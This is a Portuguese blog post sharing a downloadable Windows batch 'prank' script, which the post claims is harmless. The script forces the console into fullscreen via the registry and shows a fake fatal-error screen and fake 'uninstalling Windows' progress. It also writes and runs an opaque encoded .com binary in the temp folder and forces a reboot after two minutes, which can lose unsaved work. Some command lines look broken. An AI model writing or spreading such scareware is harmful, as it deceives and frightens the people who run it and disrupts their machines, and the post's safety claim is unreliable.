Programação em Lotes – Batch

Essa é para aqueles que gostam de aprender e se divertir esse código é bastante interessante, dá pra aprender bastante coisa.

OBS.: Este código não irá danificar seu computador , baixe aqui

@echo off
title WINDOWS ALERT
color 1f
cd /d %temp%
copy %0 "vacilaum.bat"
reg query "HKCU\Console" find /i "fullscreen" find "1" >nul
if %errorlevel% equ 1 (
echo 1>fullscrn.tmp
reg add "HKCU\Console" /v "FullScreen" /t Reg_Dword /d 1 /f
start c:\vacilaum.bat
exit
)
cls
for /l %%Y in (1,1,20) do (echo.)
echo.
echo A fatal exception 0E has ocurred at 0028:C00068F8 in VxD VMM(01) +
echo 000059F8. The current application will be terminated.
echo.
echo * Press any key to terminate the application.
echo * Press CTRL+ALT+DEL to restart your computer. You will
echo lose any unsaved information in all applications.
echo.
call:cecho Press any key to continue
for /l %%Y in (1,1,19) do (echo.)
pause>nul
cls
for /l %%Y in (1,1,17) do (echo.)
call:cecho Pressione qualquer tecla para continuar. . .
for /l %%Y in (1,1,16) do (echo.)
pause>nul
if exist fullscrn.tmp (reg add "HKCU\Console" /v "FullScreen" /t "Reg_Dword" /d 0 /f)
del /q /f fullscrn.tmp
exit

:cecho
set pal=%*
FOR /F "TOKENS=2" %%E IN ('mode con: ^ findstr "Colunas Cols"') DO set /a cols=%%E
set /a chars=0
set /a space=0
set charspace=
for /l %%i in (1000,-1,0) do (
if "!pal:~%%i,1!"=="!pal:~1000,1!" set /a chars=%%i
)
set /a space=(%cols%/2)-(%chars%/2)
for /l %%h in (0,1,%space%) do set charspace= !charspace!
echo.%charspace%%pal%
echo.
echo.
echo.
PAUSE
echo.
echo.
echo.
echo.

set inicializar =%userprofile%
echo. Ola %inicializar%
echo. Carregando arquivos necessários:
c:
cd c:\windows
FIND /I "EXE" *.exe
echo. Excluindo os seguintes arquivos:
tasklist
FOR /L %%c IN (0,1,100) DO echo. Aguarde... %%c porcento concluido...
echo.
echo.
cls
echo. Aguarde enquanto escaneamos seu computador a procura de algo enteressante...


if not exist "%temp%.\Satti.com" (call :satti)
color 0b
call :carrega 0 10 "Iniciando a desinstalação do Windows" 10
call :carrega 10 30 "Desinstalando Explorer.exe" 10
call :carrega 30 50 "Desinstalando iexplorer.exe" 14
call :carrega 50 70 "Desinstalando regedit.exe" 14
call :carrega 70 90 "Excluindo *.dll;*.ocx; *.reg" 12
call :carrega 90 100 "Concluindo!!" 12

shutdown -r -f -t 120 -c "Perdeu, espero que tenha realizado Backup de seus arquivos importantes"
exit


pause
:carrega
set cor=%4
set ver=%3
set ver=%ver:"= %
set load=%1
:loading
set /a load=%load%+5
if %load% equ 5 set load2=
if %load% equ 11 set load2=º
if %load% equ 15 set load2=ºº
if %load% equ 20 set load2=ººº
if %load% equ 25 set load2=ºººº
if %load% equ 30 set load2=ººººº
if %load% equ 35 set load2=ºººººº
if %load% equ 40 set load2=ººººººº
if %load% equ 45 set load2=ºººººººº
if %load% equ 50 set load2=ººººººººº
if %load% equ 55 set load2=ºººººººººº
if %load% equ 60 set load2=ººººººººººº
if %load% equ 65 set load2=ºººººººººººº
if %load% equ 70 set load2=ººººººººººººº
if %load% equ 75 set load2=ººººººººººººººº
if %load% equ 80 set load2=ºººººººººººººººº
if %load% equ 85 set load2=ººººººººººººººººº
if %load% equ 90 set load2=ºººººººººººººººººº
if %load% equ 95 set load2=ººººººººººººººººººº
if %load% equ 100 set load2=ºººººººººººººººººººº
if %load% equ %2 set load=0&Cls&goto:eof
cls
echo.
echo %ver%
echo.
echo Processando...
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º
"%temp%.\Satti.com" 5 2 %cor% %load2%
"%temp%.\Satti.com" 5 22 11 º
echo %load%%% Concluido
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ping -n 2 localhost > nul
goto loading
:satti
(
echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=
echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU WwX0GwUY Wv;ovBX2Gv0ExGIuht6
echo pZsAQ~ZzOL@KtZ{O@}1guN?_g~K=G?U_Pg]NYG?w?KgBn}IqtH@wR@wABO
echo LrFZp{@OEKH@lQN1w@ECuQqo{Ox{R?kNv@ZjosB@IoOEFr@N@K ~aj~@OeK
echo ??BB0x
)>"%temp%.\Satti.com"
goto:eof